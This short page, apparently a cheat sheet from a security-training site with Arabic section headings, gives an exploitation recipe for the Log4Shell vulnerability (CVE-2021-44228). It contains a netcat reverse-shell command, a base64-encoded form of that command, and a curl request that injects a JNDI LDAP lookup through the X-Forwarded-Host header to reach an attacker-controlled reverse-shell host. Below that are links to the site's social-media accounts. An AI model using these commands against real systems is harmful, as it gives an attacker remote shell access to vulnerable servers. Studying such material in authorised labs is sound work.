log4jshell_CVE-2021-44228

Log4jshell - CVE-2021-44228

Netcat

nc [Public IP] [Port] -e /bin/sh

تحويل إلى Base64

bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g=

الحمولة

curl [Target Website] -H "X-Forwarded-Host: ${jndi:ldap://[ReverseshellIP]:[Port]/Basic/Command/Base64/[Payload in base64]

إثبات المفهوم

Log4j PoC

تابع

Youtube

Twitter

Telegram

Vulnmachines.com

LinkedIn